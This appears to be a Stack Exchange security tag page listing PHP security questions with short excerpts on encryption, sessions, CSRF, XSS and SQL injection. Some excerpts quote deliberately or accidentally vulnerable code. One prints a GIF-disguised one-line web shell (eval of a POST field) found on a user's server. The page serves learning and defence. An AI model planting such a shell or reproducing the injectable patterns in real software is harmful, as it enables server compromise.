Security aspects concerning code written in the programming language PHP which is often used for web applications.

learn more… | top users | synonyms

2
votes
1answer
92 views

Are PHP magic methods really necessary for PHP object injection?

I'm trying to understand the PHP Object Injection flaw in vBulletin 5.1.x (CVE 2015-7808) and I stumbled across the requirements for Object Injection as stated by OWASP: The application must have ...
29
votes
4answers
2k views

How to encrypt in PHP, properly?

How do I encrypt data in PHP, properly, using symmetric-key encryption? I have a message M and a secret S. I'm looking for a solution that uses cryptography properly without making any of the usual ...
4
votes
2answers
567 views

PHP code injection using GET and echo

I have found a piece of this code in a web application (simplified): <?php $password="very-secret-password"; $param = $_GET["param"]; ?> <html> ... Param: <?php echo $param; ?> ... &...
44
votes
6answers
10k views

How to Securely Implement a “Remember Me” Feature?

Assuming you already have a website that implements all of the standard login stuff, what is the correct and most secure way to allow users to automatically be logged in for a certain time period (let'...
9
votes
4answers
10k views

PHP functions for preventing XSS

Is there a proven library with functions for preventing XSS attacks? Many people don't realise that htmlspecialchars is not enough to prevent XSS attacks. There are various contexts that need their ...
3
votes
1answer
390 views

What are the alternatives to null byte injection attack?

Now that Null byte injections no longer work on PHP, what are the alternative attack strategies used by attackers for remote file inclusion ?
-1
votes
1answer
108 views

Token in URL changes on click [closed]

Logging into OpenCart admin, I find a token in its URL: http://localhost/opencart/admin/index.php?route=common/dashboard&token=xOHq2UzQ0YwKTubXgxNpGFySmAA9W90z The synchronizer token pattern is ...
21
votes
4answers
23k views

How to hijack a session?

Despite the blatant title of the question, this is actually for a genuine purpose. My site uses PHP code like this: $select="select id from tableA where user_id='".$_SESSION['sess_user_id']."'"; ...
1
vote
1answer
55 views

Logout CSRF Protection [duplicate]

I am making a CMS and I have a CSRF protection in settings, new article. Should I also put this protection in the logout ?
0
votes
1answer
46 views

Create mod page for an anonymous website

I developed a website. There is no login section in the website. I didn't want to force people to sign up. Now I have a problem. There are a few .php pages that only I should access. How can I do that?...
2
votes
2answers
160 views

Ways to secure administrative pages of a portable site

I made a CMS (using PHP) that is basically drag and drop to be live (under linux/apache hosts), now I need the communications between the administrative/login pages of said CMS and the client (recent ...
26
votes
7answers
4k views

How to replace SSL/TLS?

I have to make a website for a NGO (Non-Governmental Organization), and they have the minimal options from their provider, so they can't have SSL/TLS (barely only HTML/PHP/MySQL/JS) The data that ...
-4
votes
2answers
79 views

php malware file-names [closed]

The following is a list malware php file-names that I found on my server some time ago, looking at the source these were clearly to allow a hacker to take full control of my server. I'm posting these ...
1
vote
1answer
132 views

WordPress site is infected with malware, cannot find dropper [duplicate]

I am in a bit of an annoying situation. I inherited responsibilities of a WordPress multisite once managed from from other contractors and that site has been infected with virus dropping malware. I ...
1
vote
2answers
116 views

Application that uses USB token to assign user on a server

I have the following situation: One user with a USB token certificate access a site and log-in using this certificate, the logging process ask for the USB token password; When the user is logged he ...
4
votes
2answers
207 views

Saving Personal Information (Name, Address, Phone, Email) in MySQL Database

I'm going to build a web app for people to sign up and pay for a membership. The transaction information will all be processed through Authorize.NET but we save the rest of the information (Name, ...
1
vote
1answer
1k views

Is it safe to store the reset password token in PHP session

I have a login system created in PHP. It currently doesn't have the "forgot password" feature and I would like to implement the feature. For this I'm planning to do the following: When user submits ...
1
vote
1answer
82 views

phpBB under nginx, htaccess protection is lost – what are the risks?

I'm running phpBB 3.1 on a server that uses nginx not Apache, and due to this, none of the phpBB .htaccess files work, and so files in the document root that are normally protected under Apache, are ...
3
votes
2answers
1k views

List of web session attacks and counter measures

I'm writing a new website in PHP and I will be using cookies to track user session data. Before I finalize the design, I want to make sure that the site is not vulnerable to attacks. I have written a ...
7
votes
3answers
2k views

How to access directories disallowed in robots.txt?

While scanning my website with uniscan it found my robots.txt file which disallows access to /cgi-bin/ and other directories, but they are not accessible in browser. Is there a way to access the ...
2
votes
2answers
128 views

Using mutiple keys to encrypt the same text with the password as a key but someone changes their password

I want to make a messaging social network but am worried about the NSA wiretapping all my members at once without merit like they wanted to do with Lavabit. I've found a way to encrypt messages using ...
2
votes
0answers
62 views

Bypass an escape function - SQL injection (Educational Purpose) [duplicate]

I am trying to simulate an SQL injection on a VM Apache server. The query I send is being converted into the part of a parameter's value i.e an escape function is restricting me. For example if I ...
0
votes
1answer
351 views

AngularJS - Can a response from an $http.post to PHP be modified?

I have an angularJS $http.post that sends username/password to a PHP file that then queries my database to verify a successful log in. I then return a JSON object back to angularJS in one of the ...
0
votes
2answers
540 views

How to create a secure login system with cookies? [closed]

For my personal education, I am trying to create a secure login system using cookies. I have read a lot of articles and Stack Overflow questions on how to achieve that, but couldn't find anything ...
1
vote
1answer
75 views

Are exposed php class files a security vulnerability?

I'm currently trying to make an old PHP web application a little bit more secure. Currently, the apache setup is such that all of the application's class files are available for user access (although ...
1
vote
1answer
4k views

Generating a TRULY random string in PHP [duplicate]

I need to generate thousands (possibly millions) of unique codes for a client. These codes may have a monetary value, so it's vital that they are TRULY random, and that no pattern could be spotted and ...
1
vote
1answer
89 views

Before an attacker attempts to exploit eval(), how would they suspect that it is being used by a target application?

I am asking the question in the context of XSS RCE/RFI as a result of server-side eval() exploitation. It is often recommended to avoid using it, but it is not clear to me how one would attempt to ...
3
votes
2answers
200 views

Decoding injected PHP malicious code in my server

I've found on internet similar issues, and I compared the code. This one is different. I recently found out that the CentOS LAMP webserver we use for development in our office was infected by a piece ...
0
votes
1answer
77 views

prevent form submission

Say in my cms I have a few page that only internal personnel could go to that page and submit sensitive information... how do I prevent from people fake a form to submit from that page? Assuming they ...
1
vote
3answers
182 views

Using HTTP GET instead of a POST request can leak source code?

Is it possible to leak the server-side code of a website if a GET request is sent instead of a POST request to a page? The idea is that if a POST request is made to a webpage e.g. http://<server ...
-1
votes
1answer
47 views

Is this PHP script secure? [closed]

I'm trying to create a secure website. Can someone let me know if this is susceptible to SQL injection? If it is, could you provide me with an exmaple of a statement that would work for injection? I'...
3
votes
1answer
170 views

Understanding hack on ecommerce site

I need help in understanding this hack and maybe I can get more information out of it. This script was inserted on our website (maybe through a weak password): eval(atob("string")); the string ...
0
votes
1answer
93 views

Dealing with a malware infected server

I have a web server which is heavily infected by malware. That is, around 12 websites (Outdated CMS) are infected by PHP shells and XSS. My websites are banned and are not accessible anymore. I have ...
11
votes
6answers
14k views

How safe is it to install XAMPP on my home computer to test PHP code?

I want to test some PHP code and I figure the best way is to install XAMPP - but I'm nervous about installing server software on my home computer. Is it generally safe to install XAMPP (given that I ...
1
vote
1answer
133 views

Any ways to exploit PHP through an echo'd parameter?

I was wondering, lets say we have a page like this. <?php if(isset($_GET['example'])){ echo $_GET['example']; } Would there be any way to exploit this page into doing something such as executing ...
-1
votes
1answer
71 views

How do a basic tests for webapp - online tool made with PHP (forms, shell access, session) [closed]

I created a webapp in PHP (MySQL, jQuery) and now I want to take necessary security measures in order to keep it up and running and harmless for my VPS. App has several public forms ($_POST, $_GET, ...
1
vote
1answer
77 views

PBKDF2 constants

I recently found this PBKDF2 code: <?php /* * Password Hashing With PBKDF2 (http://crackstation.net/hashing-security.htm). * Copyright (c) 2013, Taylor Hornby * All rights reserved. * * ...
3
votes
2answers
303 views

PHP processing form submission, how can I best protect sensitive information submitted via the form?

I am using PHP 5.6 on Apache 2.4 I have a form that will collect sensitive information about the user that need to be encrypted. My current solution grabs the sensitive information from the POST and ...
-4
votes
1answer
119 views

SQLi : Can I extract a mysql data without knowing column's name?

Here's the vulnerability code: <?php $filtered = "/information|schema|_/i"; #... blahblah $query = "SELECT * FROM user WHERE id='$id' AND pw='$pw';"; // exist hidden column $...
1
vote
0answers
48 views

PHP session and page data inconsistencies [closed]

I have a problem and I'm not immediately sure how to go about resolving it. I have been building a secured login system on a HTTPS server (with a grade of "A" by SSL-labs, if that's worth anything ),...
14
votes
5answers
33k views

Which is the best way to sanitize user input in PHP?

What is the best way to sanitize user input? These are things I do when users submit data: substr if over limited values found. htmlspecialchars() + ent_quotes + UTF-8 str_replace '<' '>' users ...
7
votes
3answers
1k views

Finding hidden page on webserver [duplicate]

I have a web server with 2 page: index.html and secret.php. The content of index.html is: <html><body><h1>It works!</h1></body></html> You can see the index....
2
votes
1answer
667 views

RSA/ECB/PKCS1Padding: Encrypting a Session Key JavaScript

How to do ECB mode when dealing with RSA? I dont understand it. The Aadhar authentication doc (http://uidai.gov.in/images/FrontPageUpdates/aadhaar_authentication_api_1_6.pdf Page 33) says that we have ...
4
votes
4answers
2k views

Can password_verify() be used to identify password after database breach?

I am a newbie to PHP and password hashing. I am following the instructions provided here to hash my user password before storing. My questions are: PHP recommends password_hash() method as a ...
1
vote
1answer
2k views

Bypassing file upload restrictions

However an exercise I do not manage to resolve, I have to bypass a check of extension of a form in PHP. It turns out that just the extension is verified, but certain special characters are replaced ...
2
votes
3answers
2k views

Is this PHP file containing an eval to a POST variable an indication of compromise?

I found this file on my server, it contains the following code: GIF89a <?php eval ($_POST[plm12345plm]); ?> There is no other code beside that one above. Is this malicious?
4
votes
1answer
204 views

As a result of attack; random folders and files in public_html. What kind of attack is this?

As a result of attack there are random folders and php files inside them in public_html directories. Sites are Wordpress, Opencart or just HTML. All sites exposed to attack. Screenshot of the ...
-7
votes
1answer
111 views

making a login server [closed]

please can someone explain to me how I would go about making a login service? I know the basic steps: Get the username, store it somewhere Get the password, translate to MD5 and store somewhere End.....
0
votes
1answer
106 views

Can you do a client and server side encryption [duplicate]

I am creating a PHP website where users, among other things, can login and do administrative stuff. For their passwords i use password_hash($password) and to later verify with it, I use ...
1
vote
1answer
133 views

Handling CSRF tokens on pages longer than the PHP session limit

I have a page that is open (i.e. requires no login) and allows users to give quick feedback. This page is available on a single shared PC or tablet. The form itself has a CSRF token on it. Problem is ...